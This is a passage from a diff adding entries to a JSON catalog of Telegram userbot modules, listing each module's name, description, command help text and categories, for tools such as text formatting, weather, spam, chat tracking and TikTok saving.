+ }, + "commands": [ + { + "filecmd": "Получить файл по ссылке.\nИспользование: .file <ссылка или реплай на ссылку>." + }, + { + "tabfixcmd": "Используй .tabfix <реплай или файл с текстом .tabfix>." + }, + { + "text2txtcmd": "Переносит текст в файл .txt.\nИспользуй: .text2txt <текст или реплай>." + }, + { + "text2pycmd": "Переносит текст в файл .py.\nИспользуй: .text2py <текст или реплай>." + }, + { + "boldcmd": "Сделать текст жирным.\nИспользуй: .bold <текст или реплай>." + }, + { + "italiccmd": "Сделать текст курсивным.\nИспользуй: .italic <текст или реплай>." + }, + { + "underlinecmd": "Сделать текст подчеркнутым.\nИспользуй: .underline <текст или реплай>." + }, + { + "monocmd": "Сделать текст моноширинным.\nИспользуй: .mono <текст или реплай>." + }, + { + "crosscmd": "Сделать текст зачеркнутым.\nИспользуй: .cross <текст или реплай>." + }, + { + "entercmd": "Перенос строки после каждого слова.\nИспользуй: .enter <текст или реплай>." + } + ], + "new_commands": [ + { + "file": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить файл по ссылке.\nИспользование: .file <ссылка или реплай на ссылку>." + } + }, + { + "tabfix": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .tabfix <реплай или файл с текстом .tabfix>." + } + }, + { + "text2txt": { + "ru_doc": null, + "en_doc": null, + "doc": "Переносит текст в файл .txt.\nИспользуй: .text2txt <текст или реплай>." + } + }, + { + "text2py": { + "ru_doc": null, + "en_doc": null, + "doc": "Переносит текст в файл .py.\nИспользуй: .text2py <текст или реплай>." + } + }, + { + "bold": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать текст жирным.\nИспользуй: .bold <текст или реплай>." + } + }, + { + "italic": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать текст курсивным.\nИспользуй: .italic <текст или реплай>." + } + }, + { + "underline": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать текст подчеркнутым.\nИспользуй: .underline <текст или реплай>." + } + }, + { + "mono": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать текст моноширинным.\nИспользуй: .mono <текст или реплай>." + } + }, + { + "cross": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать текст зачеркнутым.\nИспользуй: .cross <текст или реплай>." + } + }, + { + "enter": { + "ru_doc": null, + "en_doc": null, + "doc": "Перенос строки после каждого слова.\nИспользуй: .enter <текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/userdataen.py": { + "name": "UserDataMod", + "description": "This module can change your Telegram profile.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "namecmd": "For .name command, change your first/second name." + }, + { + "biocmd": "For .bio command, set a new bio for your profile." + }, + { + "usernamecmd": "For .username command, set a new username." + } + ], + "new_commands": [ + { + "name": { + "ru_doc": null, + "en_doc": null, + "doc": "For .name command, change your first/second name." + } + }, + { + "bio": { + "ru_doc": null, + "en_doc": null, + "doc": "For .bio command, set a new bio for your profile." + } + }, + { + "username": { + "ru_doc": null, + "en_doc": null, + "doc": "For .username command, set a new username." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/impostor.py": { + "name": "ImpMod", + "description": "Among Us", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "impcmd": "Используй: .imp <@ или текст или реплай>." + }, + { + "ruimpcmd": "Используй: .ruimp <@ или текст или реплай>." + } + ], + "new_commands": [ + { + "imp": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .imp <@ или текст или реплай>." + } + }, + { + "ruimp": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .ruimp <@ или текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/k&ktext.py": { + "name": "KKTextMod", + "description": "K&K Text by @ktxtBot", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "kktcmd": "Используйте .kkt <текст или реплай>." + } + ], + "new_commands": [ + { + "kkt": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте .kkt <текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/don`t_work.py": { + "name": "DontWorkMod", + "description": "Модуль не работает.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "dontworkcmd": "Используй .dontwork, чтобы понять, что модуль не работает." + } + ], + "new_commands": [ + { + "dontwork": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .dontwork, чтобы понять, что модуль не работает." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/weather.py": { + "name": "WeatherMod", + "description": "Погода с сайта wttr.in", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pwcmd": "\"Кидает погоду картинкой.\nИспользование: .pw <город>; ничего." + }, + { + "awcmd": "Кидает погоду ascii-артом.\nИспользование: .aw <город>; ничего." + } + ], + "new_commands": [ + { + "pw": { + "ru_doc": null, + "en_doc": null, + "doc": "\"Кидает погоду картинкой.\nИспользование: .pw <город>; ничего." + } + }, + { + "aw": { + "ru_doc": null, + "en_doc": null, + "doc": "Кидает погоду ascii-артом.\nИспользование: .aw <город>; ничего." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/userdata.py": { + "name": "UserDataMod", + "description": "Модуль может изменить ваши данные в Telegram", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "namecmd": "Команда .name изменит ваше имя." + }, + { + "biocmd": "Команда .bio изменит ваше био." + }, + { + "usernamecmd": "Команда .username изменит ваше био." + } + ], + "new_commands": [ + { + "name": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .name изменит ваше имя." + } + }, + { + "bio": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .bio изменит ваше био." + } + }, + { + "username": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .username изменит ваше био." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/whois.py": { + "name": "WhoIsMod", + "description": "Получает информацию о пользователе в Телеграме (включая вас!).", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "whoiscmd": "Используй .whois <@ или реплай>; ничего" + } + ], + "new_commands": [ + { + "whois": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .whois <@ или реплай>; ничего" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/zapomni_zabud_sogl.py": { + "name": "ZapomniZabudSoglMod", + "description": "Запомните;забудьте твари, согласен.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "zapcmd": ".zap <текст или реплай>" + }, + { + "zabcmd": ".zab <текст или реплай>" + }, + { + "soglcmd": ".sogl <текст или реплай>" + } + ], + "new_commands": [ + { + "zap": { + "ru_doc": null, + "en_doc": null, + "doc": ".zap <текст или реплай>" + } + }, + { + "zab": { + "ru_doc": null, + "en_doc": null, + "doc": ".zab <текст или реплай>" + } + }, + { + "sogl": { + "ru_doc": null, + "en_doc": null, + "doc": ".sogl <текст или реплай>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/spam.py": { + "name": "SpamMod", + "description": "Спам модуль", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "spamcmd": "Обычный спам. Используй .spam <кол-во:int> <текст или реплай>." + }, + { + "cspamcmd": "Спам символами. Используй .cspam <текст или реплай>." + }, + { + "wspamcmd": "Спам словами. Используй .wspam <текст или реплай>." + }, + { + "delayspamcmd": "Спам с задержкой. Используй .delayspam <время:int> <кол-во:int> <текст или реплай>." + } + ], + "new_commands": [ + { + "spam": { + "ru_doc": null, + "en_doc": null, + "doc": "Обычный спам. Используй .spam <кол-во:int> <текст или реплай>." + } + }, + { + "cspam": { + "ru_doc": null, + "en_doc": null, + "doc": "Спам символами. Используй .cspam <текст или реплай>." + } + }, + { + "wspam": { + "ru_doc": null, + "en_doc": null, + "doc": "Спам словами. Используй .wspam <текст или реплай>." + } + }, + { + "delayspam": { + "ru_doc": null, + "en_doc": null, + "doc": "Спам с задержкой. Используй .delayspam <время:int> <кол-во:int> <текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/uploader.py": { + "name": "UploaderMod", + "description": "Загрузчик на fl1yd.ml", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mulcmd": "Загрузить модуль на сервер." + }, + { + "fulcmd": "Загрузить файл на сервер." + } + ], + "new_commands": [ + { + "mul": { + "ru_doc": null, + "en_doc": null, + "doc": "Загрузить модуль на сервер." + } + }, + { + "ful": { + "ru_doc": null, + "en_doc": null, + "doc": "Загрузить файл на сервер." + } + } + ], + "category": [ + "Security", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/getcommonchats.py": { + "name": "GetCommonChatsMod", + "description": "Общие чаты с пользователем.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "commoncmd": "Используй .common <@ или реплай>, чтобы узнать общие чаты с пользователем." + } + ], + "new_commands": [ + { + "common": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .common <@ или реплай>, чтобы узнать общие чаты с пользователем." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/kick_random.py": { + "name": "KickRandomMod", + "description": "Кик рандом.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "kickrandcmd": "Используй .kickrand, чтобы кикнуть случайного пользователя (может кикнуть вас)." + } + ], + "new_commands": [ + { + "kickrand": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .kickrand, чтобы кикнуть случайного пользователя (может кикнуть вас)." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/quotes.py": { + "name": "QuotesMod", + "description": "Quote a message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "quotecmd": "" + } + ], + "new_commands": [ + { + "quote": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Fl1yd/FTG-Modules/reverse.py": { + "name": "ReverseMod", + "description": "Реверс текста.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "revcmd": "Используй .rev <текст или реплай>." + } + ], + "new_commands": [ + { + "rev": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .rev <текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/SpeedRead.py": { + "name": "SpeedReadMod", + "description": "каждое слово раз в 100мс", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "srcmd": ".sr <text or reply>" + } + ], + "new_commands": [ + { + "sr": { + "ru_doc": null, + "en_doc": null, + "doc": ".sr <text or reply>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/Morze.py": { + "name": "MorzeMod", + "description": "Конвертация текста в шифр Морзе и наоборот.\n\nСимволы использовать не советую, могут возникать ошибки!!", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tomrzcmd": ".tomrz [реплай или текст]" + }, + { + "toabccmd": ".toabc [реплай или текст]" + } + ], + "new_commands": [ + { + "tomrz": { + "ru_doc": null, + "en_doc": null, + "doc": ".tomrz [реплай или текст]" + } + }, + { + "toabc": { + "ru_doc": null, + "en_doc": null, + "doc": ".toabc [реплай или текст]" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/RPMod.py": { + "name": "RPMod", + "description": "Модуль RPMod.", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "dobrpcmd": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи." + }, + { + "delrpcmd": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." + }, + { + "rpmodcmd": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." + }, + { + "rplistcmd": "Используй: .rplist чтобы посмотреть список рп команд." + }, + { + "rpnickcmd": "Используй: .rpnick (ник) чтобы сменить ник пользователю или себе. С аргументом -l вызовет все ники." + }, + { + "rpbackcmd": "Бекап рп команд.\n.rpback для просмотра аргументов. " + }, + { + "rpblockcmd": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." + }, + { + "useracceptcmd": "Добавление/удаление пользователей/чатов, разрешенным использовать ваши команды.\n .useraccept {id/reply}\nДля добавления чата используй без реплая и аргументов." + }, + { + "rpconfcmd": "Настройка шаблона для рп" + } + ], + "new_commands": [ + { + "dobrp": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи." + } + }, + { + "delrp": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." + } + }, + { + "rpmod": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." + } + }, + { + "rplist": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .rplist чтобы посмотреть список рп команд." + } + }, + { + "rpnick": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .rpnick (ник) чтобы сменить ник пользователю или себе. С аргументом -l вызовет все ники." + } + }, + { + "rpback": { + "ru_doc": null, + "en_doc": null, + "doc": "Бекап рп команд.\n.rpback для просмотра аргументов. " + } + }, + { + "rpblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." + } + }, + { + "useraccept": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавление/удаление пользователей/чатов, разрешенным использовать ваши команды.\n .useraccept {id/reply}\nДля добавления чата используй без реплая и аргументов." + } + }, + { + "rpconf": { + "ru_doc": null, + "en_doc": null, + "doc": "Настройка шаблона для рп" + } + } + ], + "category": [ + "Chat", + "Automation" + ] + }, + "trololo65/Modules/webshot.py": { + "name": "WebShotMod", + "description": "link to screen", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "webshotcmd": ".webshot <link>" + } + ], + "new_commands": [ + { + "webshot": { + "ru_doc": null, + "en_doc": null, + "doc": ".webshot <link>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "trololo65/Modules/TTsaveMod.py": { + "name": "TTsaveMod", + "description": "Save tiktok video", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "ttsavecmd": ".ttsave {link}" + }, + { + "ttacceptcmd": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " + } + ], + "new_commands": [ + { + "ttsave": { + "ru_doc": null, + "en_doc": null, + "doc": ".ttsave {link}" + } + }, + { + "ttaccept": { + "ru_doc": null, + "en_doc": null, + "doc": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/SeeChat.py": { + "name": "SeeChatMod", + "description": "tracking in all PM chats.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "seechatcmd": "use: .seechat | to enable tracking in all PM chats." + }, + { + "setchatcmd": "use: .setchat | to set this chat as a track chat." + }, + { + "seechatscmd": "use: .seechats | to see the list of tracking people." + }, + { + "gseecmd": "use: .gsee {id} | to get the tracked file." + }, + { + "delseecmd": "use: .delsee {id} | to delete the tracked file." + }, + { + "excseecmd": "use: .excsee {id} | to add / remove user from exclude tracking." + }, + { + "exclistcmd": "use: .exclist | to see the list of exceptions." + } + ], + "new_commands": [ + { + "seechat": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .seechat | to enable tracking in all PM chats." + } + }, + { + "setchat": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .setchat | to set this chat as a track chat." + } + }, + { + "seechats": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .seechats | to see the list of tracking people." + } + }, + { + "gsee": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .gsee {id} | to get the tracked file." + } + }, + { + "delsee": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .delsee {id} | to delete the tracked file." + } + }, + { + "excsee": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .excsee {id} | to add / remove user from exclude tracking." + } + }, + { + "exclist": { + "ru_doc": null, + "en_doc": null, + "doc": "use: .exclist | to see the list of exceptions." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "trololo65/Modules/farmMoo.py": { + "name": "FarmMooBotMod", + "description": "Для автоматического фарминга мубота.\nотправляет мус, кликает, затем мук, кликает. и всё по циклу.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mbfoncmd": "Запустить автофарминг.\n.mbfon {интервал отправки} {первая кнопка} {вторая кнопка} | кнопки указывать по очередности." + }, + { + "mbfoffcmd": "Остановить автофармин." + } + ], + "new_commands": [ + { + "mbfon": { + "ru_doc": null, + "en_doc": null, + "doc": "Запустить автофарминг.\n.mbfon {интервал отправки} {первая кнопка} {вторая кнопка} | кнопки указывать по очередности." + } + }, + { + "mbfoff": { + "ru_doc": null, + "en_doc": null, + "doc": "Остановить автофармин." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/translatepyMod.py": { + "name": "translatepyMod", + "description": "Перевод текста. Автоматическое распознование языка.", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "trnsltcmd": "Используй: .trnslt {язык} {текст или реплай}" + }, + { + "tservicecmd": "Установка сервиса для перевода.\nИспользуй .tservice list для просмотра всех сервисов" + } + ], + "new_commands": [ + { + "trnslt": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .trnslt {язык} {текст или реплай}" + } + }, + { + "tservice": { + "ru_doc": null, + "en_doc": null, + "doc": "Установка сервиса для перевода.\nИспользуй .tservice list для просмотра всех сервисов" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/LsSend.py": { + "name": "LsSendMod", + "description": "Отправка смс в лс по юзеру пользователя.", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "sendcmd": ".send {юзер} {текст или реплай}" + } + ], + "new_commands": [ + { + "send": { + "ru_doc": null, + "en_doc": null, + "doc": ".send {юзер} {текст или реплай}" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/glitchMod.py": { + "name": "glitchMod", + "description": "Накладывает на изображения глитч эффект.", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "glitchcmd": "Используй: \n.glitch {аргументы} {реплай на фото} {уровень сдвига 0.0 - 10.0} \nЧтобы наложить эффект на фото.\nИспользуй: \n.glitch\nчтобы посмотреть аргументы." + }, + { + "glconfcmd": "Настройка глитч эффекта." + } + ], + "new_commands": [ + { + "glitch": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: \n.glitch {аргументы} {реплай на фото} {уровень сдвига 0.0 - 10.0} \nЧтобы наложить эффект на фото.\nИспользуй: \n.glitch\nчтобы посмотреть аргументы." + } + }, + { + "glconf": { + "ru_doc": null, + "en_doc": null, + "doc": "Настройка глитч эффекта." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "trololo65/Modules/VSpamMod.py": { + "name": "VSpamMod", + "description": "Vspam", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "vampcmd": ".vamp {time} {id/user chat} {text} " + }, + { + "voffcmd": "stop spam. " + }, + { + "vampidcmd": "send mes to favourites" + }, + { + "vchcmd": "Выбор шаблона " + } + ], + "new_commands": [ + { + "vamp": { + "ru_doc": null, + "en_doc": null, + "doc": ".vamp {time} {id/user chat} {text} " + } + }, + { + "voff": { + "ru_doc": null, + "en_doc": null, + "doc": "stop spam. " + } + }, + { + "vampid": { + "ru_doc": null, + "en_doc": null, + "doc": "send mes to favourites" + } + }, + { + "vch": { + "ru_doc": null, + "en_doc": null, + "doc": "Выбор шаблона " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/BFGMod.py": { + "name": "BFGMod", + "description": "Send mes", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "bbtoncmd": "" + }, + { + "bbtoffcmd": "" + }, + { + "bfgoncmd": "" + }, + { + "bfgoffcmd": "" + } + ], + "new_commands": [ + { + "bbton": { + "ru_doc": null, + "en_doc": null, + "doc": "" + } + }, + { + "bbtoff": { + "ru_doc": null, + "en_doc": null, + "doc": "" + } + }, + { + "bfgon": { + "ru_doc": null, + "en_doc": null, + "doc": "" + } + }, + { + "bfgoff": { + "ru_doc": null, + "en_doc": null, + "doc": "" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "trololo65/Modules/Vizjener.py": { + "name": "VijenerMod", + "description": "Конвертация текста в шифр Виженеря и наоборот. ", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "tovizcmd": ".toviz {ключ} {текст}" + }, + { + "tounvizcmd": ".tounviz {ключ} {текст}" + } + ], + "new_commands": [ + { + "toviz": { + "ru_doc": null, + "en_doc": null, + "doc": ".toviz {ключ} {текст}" + } + }, + { + "tounviz": { + "ru_doc": null, + "en_doc": null, + "doc": ".tounviz {ключ} {текст}" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "trololo65/Modules/Num.py": { + "name": "NumMod", + "description": "Заражает по реплаю.", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "numcmd": ".num [arg] [arg] [arg]....\nВ качестве аргументов используй числа. или первые символы строки." + }, + { + "zarcmd": "Заражает всех по реплаю." + }, + { + "exnumcmd": "Добавляет исключения в модуль.\nИспользуй: .exnum {@user/@id}" + }, + { + "zarlistcmd": "Лист ваших заражений.\n.zarlist {@id/user} {count} {args}\nДля удаления: .zarlist {@id/user}\nАргументы:\n-k -- добавить букву k(тысяч) к числу.\n-f -- поиск по ид'у/юзеру.\n-r -- добавлению в список по реплаю." + }, + { + "numfiltercmd": ".numfilter {args1} {args2 OR reply} \nВызови команду, чтобы просмотреть аргументы." + } + ], + "new_commands": [ + { + "num": { + "ru_doc": null, + "en_doc": null, + "doc": ".num [arg] [arg] [arg]....\nВ качестве аргументов используй числа. или первые символы строки." + } + }, + { + "zar": { + "ru_doc": null, + "en_doc": null, + "doc": "Заражает всех по реплаю." + } + }, + { + "exnum": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавляет исключения в модуль.\nИспользуй: .exnum {@user/@id}" + } + }, + { + "zarlist": { + "ru_doc": null, + "en_doc": null, + "doc": "Лист ваших заражений.\n.zarlist {@id/user} {count} {args}\nДля удаления: .zarlist {@id/user}\nАргументы:\n-k -- добавить букву k(тысяч) к числу.\n-f -- поиск по ид'у/юзеру.\n-r -- добавлению в список по реплаю." + } + }, + { + "numfilter": { + "ru_doc": null, + "en_doc": null, + "doc": ".numfilter {args1} {args2 OR reply} \nВызови команду, чтобы просмотреть аргументы." + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "trololo65/Modules/ttsave.py": { + "name": "TTsaveMod", + "description": "Save tiktok video", + "meta": { + "pic": null, + "banner": null, + "developer": "@trololo_1" + }, + "commands": [ + { + "ttsavecmd": ".ttsave {link}" + }, + { + "ttacceptcmd": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " + } + ], + "new_commands": [ + { + "ttsave": { + "ru_doc": null, + "en_doc": null, + "doc": ".ttsave {link}" + } + }, + { + "ttaccept": { + "ru_doc": null, + "en_doc": null, + "doc": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/kweather.py": { + "name": "WeatherMod", + "description": "Модуль для просмотра погоды", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "weathercmd": "Использование: .weather <город>" + } + ], + "new_commands": [ + { + "weather": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование: .weather <город>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/ksenonafk.py": { + "name": "KsenonAFKMod", + "description": "Универсальный AFK модуль с поддержкой кастом сообщения и премиум статуса.", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/gy5xbPd/d4be263e-63b5-42e1-ac2b-0dac067b0623.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "afk": "[reason] [time] - Set AFK mode status [причина] [время] - Установить режим AFK" + }, + { + "unafk": "Exit AFK mode Выйти из режима AFK" + }, + { + "ignorusers": "<count> <minutes> - Set message limit per chat <кол-во> <минуты> - Установить ограничение сообщений в чате" + }, + { + "timeafk": "<minutes> <max_msgs> - Set time-based message limits <минуты> <макс.сообщений> - Установить временной лимит сообщений" + } + ], + "new_commands": [ + { + "afk": { + "ru_doc": "[причина] [время] - Установить режим AFK", + "en_doc": null, + "doc": "[reason] [time] - Set AFK mode status" + } + }, + { + "unafk": { + "ru_doc": "Выйти из режима AFK", + "en_doc": null, + "doc": "Exit AFK mode" + } + }, + { + "ignorusers": { + "ru_doc": "<кол-во> <минуты> - Установить ограничение сообщений в чате", + "en_doc": null, + "doc": "<count> <minutes> - Set message limit per chat" + } + }, + { + "timeafk": { + "ru_doc": "<минуты> <макс.сообщений> - Установить временной лимит сообщений", + "en_doc": null, + "doc": "<minutes> <max_msgs> - Set time-based message limits" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/krandomuser.py": { + "name": "RandomUserMod", + "description": "Генератор случайных пользовательских данных.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "randuser": "Сгенерировать случайные данные" + } + ], + "new_commands": [ + { + "randuser": { + "ru_doc": null, + "en_doc": null, + "doc": "Сгенерировать случайные данные" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/gpmtool.py": { + "name": "GPMToolMod", + "description": "Модуль позволяет пересылать сообщение из канала, где это запрещено.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "gpm": "<ссылка: https://t.me/канал/номер_поста> Переслать сообщения из канала, где запрещено." + } + ], + "new_commands": [ + { + "gpm": { + "ru_doc": null, + "en_doc": null, + "doc": "<ссылка: https://t.me/канал/номер_поста> Переслать сообщения из канала, где запрещено." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/counttime.py": { + "name": "CountTimeModule", + "description": "Модуль для отслеживания времени до разных событий, ВРЕМЯ может быть неправильное, потому что у вас на сервере такое время. На Termux время правильное...", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "nytime": "Показывает время до нового года" + }, + { + "wintertime": "Показывает время до зимы" + }, + { + "springtime": "Показывает время до весны" + }, + { + "summertime": "Показывает время до лета" + }, + { + "autumntime": "Показывает время до осени" + } + ], + "new_commands": [ + { + "nytime": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает время до нового года" + } + }, + { + "wintertime": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает время до зимы" + } + }, + { + "springtime": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает время до весны" + } + }, + { + "summertime": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает время до лета" + } + }, + { + "autumntime": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает время до осени" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/randomfact.py": { + "name": "RandomFactMod", + "description": "Рандомные факты", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "randomfact": "Получить случайный факт" + } + ], + "new_commands": [ + { + "randomfact": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить случайный факт" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "TheKsenon/MyHikkaModules/kcustominfo.py": { + "name": "CustomInfoMod", + "description": "Улучшенная информация о юзерботе - ping, и т.д.", + "meta": { + "pic": null, + "banner": null, + "developer": "@kmodules" + }, + "commands": [ + { + "cinfo": "Показать информацию о юзерботе" + }, + { + "setcinfo": "Установить кастомный текст информации: .setcinfo <текст>" + } + ], + "new_commands": [ + { + "cinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать информацию о юзерботе" + } + }, + { + "setcinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить кастомный текст информации: .setcinfo <текст>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "TheKsenon/MyHikkaModules/randommemes.py": { + "name": "RandomMemesModule", + "description": "2 mode random memes.", + "meta": { + "pic": null, + "banner": "https://i.ibb.co/hK4zxP7/6f8d18ef-53d2-42a5-94e5-c0abef97b1bb.jpg", + "developer": "@kmodules" + }, + "commands": [ + { + "rnmeme": "NSFW мемы NSFW memes" + }, + { + "rmeme": "Безопасные мемы Safe memes" + } + ], + "new_commands": [ + { + 